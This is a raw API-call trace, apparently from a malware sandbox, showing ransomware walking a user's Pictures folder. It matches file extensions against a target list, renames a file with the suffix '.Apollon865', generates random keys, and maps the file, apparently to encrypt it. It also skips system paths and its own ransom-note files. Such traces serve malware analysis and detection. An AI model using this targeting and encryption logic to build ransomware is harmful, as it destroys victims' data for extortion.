	[0087.138] lstrcmpiW (lpString1="PV-1.gif", lpString2="daschema") returned 1
	[0087.138] lstrlenW (lpString="db-journal") returned 10
	[0087.138] lstrcmpiW (lpString1="x5PV-1.gif", lpString2="db-journal") returned 1
	[0087.138] lstrlenW (lpString="db-shm") returned 6
	[0087.138] lstrcmpiW (lpString1="-1.gif", lpString2="db-shm") returned -1
	[0087.138] lstrlenW (lpString="db-wal") returned 6
	[0087.138] lstrcmpiW (lpString1="-1.gif", lpString2="db-wal") returned -1
	[0087.138] lstrlenW (lpString="dbc") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0087.138] lstrlenW (lpString="dbs") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0087.138] lstrlenW (lpString="dbt") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0087.138] lstrlenW (lpString="dbv") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0087.138] lstrlenW (lpString="dbx") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0087.138] lstrlenW (lpString="dcb") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0087.138] lstrlenW (lpString="dct") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0087.138] lstrlenW (lpString="dcx") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0087.138] lstrlenW (lpString="ddl") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0087.138] lstrlenW (lpString="dlis") returned 4
	[0087.138] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0087.138] lstrlenW (lpString="dp1") returned 3
	[0087.138] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1
	[0087.138] lstrlenW (lpString="dqy") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1
	[0087.139] lstrlenW (lpString="dsk") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1
	[0087.139] lstrlenW (lpString="dsn") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1
	[0087.139] lstrlenW (lpString="dtsx") returned 4
	[0087.139] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1
	[0087.139] lstrlenW (lpString="dxl") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1
	[0087.139] lstrlenW (lpString="eco") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1
	[0087.139] lstrlenW (lpString="ecx") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1
	[0087.139] lstrlenW (lpString="edb") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1
	[0087.139] lstrlenW (lpString="epim") returned 4
	[0087.139] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1
	[0087.139] lstrlenW (lpString="fcd") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1
	[0087.139] lstrlenW (lpString="fdb") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1
	[0087.139] lstrlenW (lpString="fic") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1
	[0087.139] lstrlenW (lpString="flexolibrary") returned 12
	[0087.139] lstrlenW (lpString="fm5") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1
	[0087.139] lstrlenW (lpString="fmp") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1
	[0087.139] lstrlenW (lpString="fmp12") returned 5
	[0087.139] lstrcmpiW (lpString1="1.gif", lpString2="fmp12") returned -1
	[0087.139] lstrlenW (lpString="fmpsl") returned 5
	[0087.139] lstrcmpiW (lpString1="1.gif", lpString2="fmpsl") returned -1
	[0087.139] lstrlenW (lpString="fol") returned 3
	[0087.139] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1
	[0087.139] lstrlenW (lpString="fp3") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1
	[0087.140] lstrlenW (lpString="fp4") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1
	[0087.140] lstrlenW (lpString="fp5") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1
	[0087.140] lstrlenW (lpString="fp7") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1
	[0087.140] lstrlenW (lpString="fpt") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1
	[0087.140] lstrlenW (lpString="frm") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1
	[0087.140] lstrlenW (lpString="gdb") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.140] lstrlenW (lpString="gdb") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0087.140] lstrlenW (lpString="grdb") returned 4
	[0087.140] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1
	[0087.140] lstrlenW (lpString="gwi") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1
	[0087.140] lstrlenW (lpString="hdb") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1
	[0087.140] lstrlenW (lpString="his") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="his") returned -1
	[0087.140] lstrlenW (lpString="ib") returned 2
	[0087.140] lstrcmpiW (lpString1="if", lpString2="ib") returned 1
	[0087.140] lstrlenW (lpString="idb") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1
	[0087.140] lstrlenW (lpString="ihx") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1
	[0087.140] lstrlenW (lpString="itdb") returned 4
	[0087.140] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1
	[0087.140] lstrlenW (lpString="itw") returned 3
	[0087.140] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1
	[0087.140] lstrlenW (lpString="jet") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1
	[0087.141] lstrlenW (lpString="jtx") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1
	[0087.141] lstrlenW (lpString="kdb") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1
	[0087.141] lstrlenW (lpString="kexi") returned 4
	[0087.141] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1
	[0087.141] lstrlenW (lpString="kexic") returned 5
	[0087.141] lstrcmpiW (lpString1="1.gif", lpString2="kexic") returned -1
	[0087.141] lstrlenW (lpString="kexis") returned 5
	[0087.141] lstrcmpiW (lpString1="1.gif", lpString2="kexis") returned -1
	[0087.141] lstrlenW (lpString="lgc") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1
	[0087.141] lstrlenW (lpString="lwx") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1
	[0087.141] lstrlenW (lpString="maf") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1
	[0087.141] lstrlenW (lpString="maq") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1
	[0087.141] lstrlenW (lpString="mar") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1
	[0087.141] lstrlenW (lpString="marshal") returned 7
	[0087.141] lstrcmpiW (lpString1="V-1.gif", lpString2="marshal") returned 1
	[0087.141] lstrlenW (lpString="mas") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1
	[0087.141] lstrlenW (lpString="mav") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1
	[0087.141] lstrlenW (lpString="maw") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1
	[0087.141] lstrlenW (lpString="mdbhtml") returned 7
	[0087.141] lstrcmpiW (lpString1="V-1.gif", lpString2="mdbhtml") returned 1
	[0087.141] lstrlenW (lpString="mdn") returned 3
	[0087.141] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1
	[0087.141] lstrlenW (lpString="mdt") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1
	[0087.142] lstrlenW (lpString="mfd") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1
	[0087.142] lstrlenW (lpString="mpd") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1
	[0087.142] lstrlenW (lpString="mrg") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1
	[0087.142] lstrlenW (lpString="mud") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1
	[0087.142] lstrlenW (lpString="mwb") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1
	[0087.142] lstrlenW (lpString="myd") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1
	[0087.142] lstrlenW (lpString="ndf") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1
	[0087.142] lstrlenW (lpString="nnt") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1
	[0087.142] lstrlenW (lpString="nrmlib") returned 6
	[0087.142] lstrcmpiW (lpString1="-1.gif", lpString2="nrmlib") returned -1
	[0087.142] lstrlenW (lpString="ns2") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1
	[0087.142] lstrlenW (lpString="ns3") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1
	[0087.142] lstrlenW (lpString="ns4") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1
	[0087.142] lstrlenW (lpString="nsf") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1
	[0087.142] lstrlenW (lpString="nv") returned 2
	[0087.142] lstrcmpiW (lpString1="if", lpString2="nv") returned -1
	[0087.142] lstrlenW (lpString="nv2") returned 3
	[0087.142] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1
	[0087.142] lstrlenW (lpString="nwdb") returned 4
	[0087.142] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1
	[0087.142] lstrlenW (lpString="nyf") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1
	[0087.143] lstrlenW (lpString="odb") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.143] lstrlenW (lpString="odb") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1
	[0087.143] lstrlenW (lpString="oqy") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1
	[0087.143] lstrlenW (lpString="ora") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1
	[0087.143] lstrlenW (lpString="orx") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1
	[0087.143] lstrlenW (lpString="owc") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1
	[0087.143] lstrlenW (lpString="p96") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1
	[0087.143] lstrlenW (lpString="p97") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1
	[0087.143] lstrlenW (lpString="pan") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1
	[0087.143] lstrlenW (lpString="pdb") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1
	[0087.143] lstrlenW (lpString="pdm") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1
	[0087.143] lstrlenW (lpString="pnz") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1
	[0087.143] lstrlenW (lpString="qry") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1
	[0087.143] lstrlenW (lpString="qvd") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1
	[0087.143] lstrlenW (lpString="rbf") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1
	[0087.143] lstrlenW (lpString="rctd") returned 4
	[0087.143] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1
	[0087.143] lstrlenW (lpString="rod") returned 3
	[0087.143] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1
	[0087.144] lstrlenW (lpString="rodx") returned 4
	[0087.144] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1
	[0087.144] lstrlenW (lpString="rpd") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1
	[0087.144] lstrlenW (lpString="rsd") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1
	[0087.144] lstrlenW (lpString="sas7bdat") returned 8
	[0087.144] lstrcmpiW (lpString1="PV-1.gif", lpString2="sas7bdat") returned -1
	[0087.144] lstrlenW (lpString="sbf") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1
	[0087.144] lstrlenW (lpString="scx") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1
	[0087.144] lstrlenW (lpString="sdb") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1
	[0087.144] lstrlenW (lpString="sdc") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1
	[0087.144] lstrlenW (lpString="sdf") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1
	[0087.144] lstrlenW (lpString="sis") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1
	[0087.144] lstrlenW (lpString="spq") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1
	[0087.144] lstrlenW (lpString="te") returned 2
	[0087.144] lstrcmpiW (lpString1="if", lpString2="te") returned -1
	[0087.144] lstrlenW (lpString="teacher") returned 7
	[0087.144] lstrcmpiW (lpString1="V-1.gif", lpString2="teacher") returned 1
	[0087.144] lstrlenW (lpString="tmd") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1
	[0087.144] lstrlenW (lpString="tps") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1
	[0087.144] lstrlenW (lpString="trc") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.144] lstrlenW (lpString="trc") returned 3
	[0087.144] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1
	[0087.144] lstrlenW (lpString="trm") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1
	[0087.145] lstrlenW (lpString="udb") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1
	[0087.145] lstrlenW (lpString="udl") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1
	[0087.145] lstrlenW (lpString="usr") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1
	[0087.145] lstrlenW (lpString="v12") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1
	[0087.145] lstrlenW (lpString="vis") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1
	[0087.145] lstrlenW (lpString="vpd") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1
	[0087.145] lstrlenW (lpString="vvv") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1
	[0087.145] lstrlenW (lpString="wdb") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1
	[0087.145] lstrlenW (lpString="wmdb") returned 4
	[0087.145] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1
	[0087.145] lstrlenW (lpString="wrk") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1
	[0087.145] lstrlenW (lpString="xdb") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1
	[0087.145] lstrlenW (lpString="xld") returned 3
	[0087.145] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1
	[0087.145] lstrlenW (lpString="xmlff") returned 5
	[0087.145] lstrcmpiW (lpString1="1.gif", lpString2="xmlff") returned -1
	[0087.145] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OZx5PV-1.gif.Apollon865") returned 62
	[0087.145] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OZx5PV-1.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ozx5pv-1.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OZx5PV-1.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ozx5pv-1.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.147] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OZx5PV-1.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ozx5pv-1.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.147] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=97024) returned 1
	[0087.147] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.147] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.147] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.147] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.148] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.148] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.148] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17e00, lpName=0x0) returned 0x15c
	[0087.148] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17e00) returned 0x120000
	[0087.152] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.152] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.153] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.153] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.153] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.154] CloseHandle (hObject=0x15c) returned 1
	[0087.154] CloseHandle (hObject=0x9c) returned 1
	[0087.156] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.156] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.156] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.156] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb7c10, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x302b7e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x302b7e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-V8p_Ll9yKSvY", cAlternateFileName="S-V8P_~1")) returned 1
	[0087.156] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.156] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="Apollon865.txt.exe") returned 1
	[0087.156] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2=".") returned 1
	[0087.156] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="..") returned 1
	[0087.156] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="windows") returned -1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="bootmgr") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="temp") returned -1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="pagefile.sys") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="boot") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="ids.txt") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="ntuser.dat") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="perflogs") returned 1
	[0087.157] lstrcmpiW (lpString1="S-V8p_Ll9yKSvY", lpString2="MSBuild") returned 1
	[0087.157] lstrlenW (lpString="S-V8p_Ll9yKSvY") returned 14
	[0087.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\OZx5PV-1.gif") returned 51
	[0087.157] lstrcpyW (in: lpString1=0x119e656, lpString2="S-V8p_Ll9yKSvY" | out: lpString1="S-V8p_Ll9yKSvY") returned="S-V8p_Ll9yKSvY"
	[0087.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0087.157] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0087.157] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7990 | out: ListHead=0x5b75f0, ListEntry=0x5b7990) returned 0x5b7b10
	[0087.157] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b30bf0, ftCreationTime.dwHighDateTime=0x1d4c832, ftLastAccessTime.dwLowDateTime=0x6c6ac980, ftLastAccessTime.dwHighDateTime=0x1d4c62e, ftLastWriteTime.dwLowDateTime=0x6c6ac980, ftLastWriteTime.dwHighDateTime=0x1d4c62e, nFileSizeHigh=0x0, nFileSizeLow=0xd98f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vv9Uh-50BDoHhn.jpg", cAlternateFileName="VV9UH-~1.JPG")) returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="..") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="windows") returned -1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="bootmgr") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="temp") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="pagefile.sys") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="boot") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="ids.txt") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="ntuser.dat") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="perflogs") returned 1
	[0087.157] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2="MSBuild") returned 1
	[0087.157] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0087.157] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\S-V8p_Ll9yKSvY") returned 53
	[0087.157] lstrcpyW (in: lpString1=0x119e656, lpString2="Vv9Uh-50BDoHhn.jpg" | out: lpString1="Vv9Uh-50BDoHhn.jpg") returned="Vv9Uh-50BDoHhn.jpg"
	[0087.158] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0087.158] lstrlenW (lpString="Apollon865") returned 10
	[0087.158] lstrcmpiW (lpString1="BDoHhn.jpg", lpString2="Apollon865") returned 1
	[0087.158] lstrlenW (lpString=".dll") returned 4
	[0087.158] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".dll") returned 1
	[0087.158] lstrlenW (lpString=".lnk") returned 4
	[0087.158] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".lnk") returned 1
	[0087.158] lstrlenW (lpString=".ini") returned 4
	[0087.158] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".ini") returned 1
	[0087.158] lstrlenW (lpString=".sys") returned 4
	[0087.158] lstrcmpiW (lpString1="Vv9Uh-50BDoHhn.jpg", lpString2=".sys") returned 1
	[0087.158] lstrlenW (lpString="Vv9Uh-50BDoHhn.jpg") returned 18
	[0087.158] lstrlenW (lpString="bak") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0087.158] lstrlenW (lpString="ba_") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0087.158] lstrlenW (lpString="dbb") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0087.158] lstrlenW (lpString="vmdk") returned 4
	[0087.158] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0087.158] lstrlenW (lpString="rar") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0087.158] lstrlenW (lpString="zip") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0087.158] lstrlenW (lpString="tgz") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0087.158] lstrlenW (lpString="vbox") returned 4
	[0087.158] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0087.158] lstrlenW (lpString="vdi") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0087.158] lstrlenW (lpString="vhd") returned 3
	[0087.158] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0087.158] lstrlenW (lpString="vhdx") returned 4
	[0087.158] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0087.159] lstrlenW (lpString="avhd") returned 4
	[0087.159] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0087.159] lstrlenW (lpString="db") returned 2
